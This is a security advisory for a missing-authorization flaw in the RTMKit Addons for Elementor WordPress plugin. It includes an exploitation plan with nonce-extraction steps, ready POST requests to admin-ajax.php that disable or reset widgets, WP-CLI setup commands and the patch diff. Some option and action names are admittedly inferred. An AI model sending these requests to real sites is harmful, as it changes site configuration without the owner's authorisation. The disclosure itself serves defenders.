RTMKit Addons for Elementor <= 2.0.2 - Authenticated (Author+) Missing Authorization to Widget Configuration Modification
Description
The RTMKit Addons for Elementor plugin for WordPress is vulnerable to unauthorized modification of data due to missing capability checks on the save_widget() and reset_all_widgets() functions in all versions up to, and including, 2.0.2. This makes it possible for authenticated attackers, with Author-level access and above, to modify or reset site-wide widget configurations.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.0.2What Changed in the Fix
Changes introduced in v2.0.3
Source Code
WordPress.org SVN# Vulnerability Research Plan: CVE-2026-3426 RTMKit Widget Configuration Modification ## 1. Vulnerability Summary The **RTMKit Addons for Elementor** plugin (versions <= 2.0.2) contains a missing authorization vulnerability within its widget management functionality. Specifically, the functions `sa…
Show full research plan
Vulnerability Research Plan: CVE-2026-3426 RTMKit Widget Configuration Modification
1. Vulnerability Summary
The RTMKit Addons for Elementor plugin (versions <= 2.0.2) contains a missing authorization vulnerability within its widget management functionality. Specifically, the functions save_widget() and reset_all_widgets() (likely residing in an AJAX handler class such as RTMKit\Modules\Widgets\WidgetAPI, inferred) fail to perform capability checks (e.g., current_user_can('manage_options')) before modifying site-wide settings.
While the functions likely verify a WordPress nonce (rtmkit_nonce), this nonce is enqueued in the admin environment and Elementor editor, making it accessible to users with Author level permissions or higher. An attacker can leverage this to enable/disable widgets or reset the entire plugin configuration, impacting site functionality.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Vulnerable Actions:
save_widgetandreset_all_widgets(Inferred from function names in the vulnerability description). - Authentication: Authenticated user with Author role or higher.
- Payload Parameter:
action,nonce,widget_key(or similar identifier), andstatus. - Preconditions: The attacker must be logged in as an Author to access the admin dashboard or Elementor editor where the
rtmkit_nonceis localized.
3. Code Flow
- Registration: The plugin registers AJAX handlers during
init. Based on the pattern inInc/Core/PluginApi.phpandInc/Modules/Themebuilder/ThemebuilderAPI.php, these actions are hooked towp_ajax_save_widgetandwp_ajax_reset_all_widgets. - AJAX Request: An Author-level user sends a POST request to
admin-ajax.php. - Nonce Verification: The handler calls
check_ajax_referer('rtmkit_nonce', 'nonce'). - Missing Authorization: Unlike
set_global_site()inInc/Core/PluginApi.php, which explicitly checkscurrent_user_can('manage_options'), these functions proceed directly to data modification. - Sink: The functions update the WordPress options table (e.g., via
update_option()), modifying which Elementor widgets are active globally.
4. Nonce Acquisition Strategy
The nonce is localized in the rkit_libs object via wp_localize_script.
- Source:
Inc/Modules/Helper/EditorCanvas.php - Hook:
elementor/editor/before_enqueue_scripts - Verification:
Inc/Modules/Menu.phpalso likely enqueues a script in the admin dashboard that localizes the same nonce. - Strategy:
- Log in as an Author.
- Navigate to the WordPress dashboard (
/wp-admin/). - Use
browser_evalto extract the nonce from the global JavaScript object.
Execution Command:
browser_eval("window.rkit_libs?.rtmkit_nonce")
5. Exploitation Strategy
The goal is to modify the global widget settings as an Author.
Step 1: Save Widget Configuration (Modification)
Action: save_widget
Parameters:
action:save_widgetnonce:[Extracted Nonce]widget_key:pricetable(A valid widget name fromInc/Elements/PricingTable.php)status:off(To disable the widget site-wide)
HTTP Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=save_widget&nonce=[NONCE]&widget_key=pricetable&status=off
Step 2: Reset All Widgets (Mass Modification)
Action: reset_all_widgets
Parameters:
action:reset_all_widgetsnonce:[Extracted Nonce]
HTTP Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=reset_all_widgets&nonce=[NONCE]
6. Test Data Setup
- Install Plugin: RTMKit Addons for Elementor <= 2.0.2.
- Create User: Create a user with the Author role.
wp user create attacker attacker@example.com --role=author --user_pass=password123 - Verify Initial State: Ensure widgets are currently enabled.
wp option get rtm_active_widgets (Inferred option name)
7. Expected Results
- The AJAX response should return
wp_send_json_success(e.g.,{"success":true,"data":"..."}). - If authorization was missing, the request will return a success message despite the user being an Author.
- If authorization was present, the response would be
{"success":false,"data":"Access Denied."}or a 403 status code.
8. Verification Steps
After sending the HTTP request, use WP-CLI to check if the widget configuration changed in the database.
- Check Options Table:
(If the above option name is incorrect, search for related options:wp option get rtm_active_widgetswp option list --search="*rtm*") - Check Widget Availability: Try to view the Pricing Table widget in the Elementor editor; it should be missing or disabled if the exploit was successful.
9. Alternative Approaches
If the AJAX actions save_widget or reset_all_widgets return 400 (not found), the actions might be prefixed. Try:
rkit_save_widgetrtmkit_save_widget
If the nonce is not found on the dashboard, navigate to the "Help & Center" page registered in Inc/Modules/Menu.php (slug: rtmkit&path=help), as it allows the read capability and likely enqueues the necessary scripts.
# Navigate to Help page
browser_navigate("/wp-admin/admin.php?page=rtmkit&path=help")
Summary
The RTMKit Addons for Elementor plugin for WordPress is vulnerable to unauthorized modification of data in versions up to and including 2.0.2. This is due to missing capability checks on several AJAX functions, which allows authenticated attackers with Author-level permissions or higher to modify or reset site-wide widget configurations.
Vulnerable Code
// Inc/Core/PluginApi.php lines 41-53 public function get_sidebar_content() { // Load the sidebar view file check_ajax_referer('rtmkit_nonce', 'nonce'); if (!file_exists(RTM_KIT_DIR . 'views/sidebar.php')) { wp_send_json_error('Sidebar view file not found.'); return; } ob_start(); require_once RTM_KIT_DIR . 'views/sidebar.php'; $content = ob_get_clean(); wp_send_json_success($content); } --- // Inc/Core/PluginApi.php lines 55-75 public function get_content() { check_ajax_referer('rtmkit_nonce', 'nonce'); if (!isset($_POST['path'])) { wp_send_json_error('Path not specified.'); return; } $path = sanitize_text_field($_POST['path']); $file = RTM_KIT_DIR . 'views/' . $path . '.php'; if (!file_exists($file)) { return ''; } ob_start(); require_once $file; $content = ob_get_clean(); wp_send_json_success($content);
Security Fix
@@ -37,6 +37,12 @@ // Load the sidebar view file check_ajax_referer('rtmkit_nonce', 'nonce'); + + if (!current_user_can('manage_options')) { + wp_send_json_error('Access Denied.'); + wp_die(); + } + if (!file_exists(RTM_KIT_DIR . 'views/sidebar.php')) { wp_send_json_error('Sidebar view file not found.'); return; @@ -50,15 +56,23 @@ public function get_content() { check_ajax_referer('rtmkit_nonce', 'nonce'); + if (!current_user_can('manage_options')) { + wp_send_json_error('Access Denied.'); + wp_die(); + } + $path = sanitize_text_field($_POST['path']); + $menus = \RTMKit\Modules\Menu::instance()->get_menu_by_path($_POST['path']); if (!isset($_POST['path'])) { wp_send_json_error('Path not specified.'); return; } - $path = sanitize_text_field($_POST['path']); - $file = RTM_KIT_DIR . 'views/' . $path . '.php'; - if (!file_exists($file)) { - return ''; + + if (isset($menus['render_view']) && file_exists($menus['render_view'])) { + $file = $menus['render_view']; + } else { + wp_send_json_error('View file not found for the specified path.'); + return; } ob_start(); require_once $file;
Exploit Outline
The exploit target is the plugin's AJAX management endpoint. An attacker with Author-level access logs into the WordPress dashboard and retrieves the 'rtmkit_nonce' from the global JavaScript object 'rkit_libs', which is localized on several admin pages accessible to Authors (such as the 'Help & Center' page). Using this nonce, the attacker sends a POST request to '/wp-admin/admin-ajax.php' with the action 'save_widget' and parameters defining a specific 'widget_key' and a 'status' (e.g., 'off'). Because the corresponding PHP handler fails to check for the 'manage_options' capability, the site-wide widget configuration is modified according to the attacker's payload. Similarly, the 'reset_all_widgets' action can be used to reset all plugin configurations.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.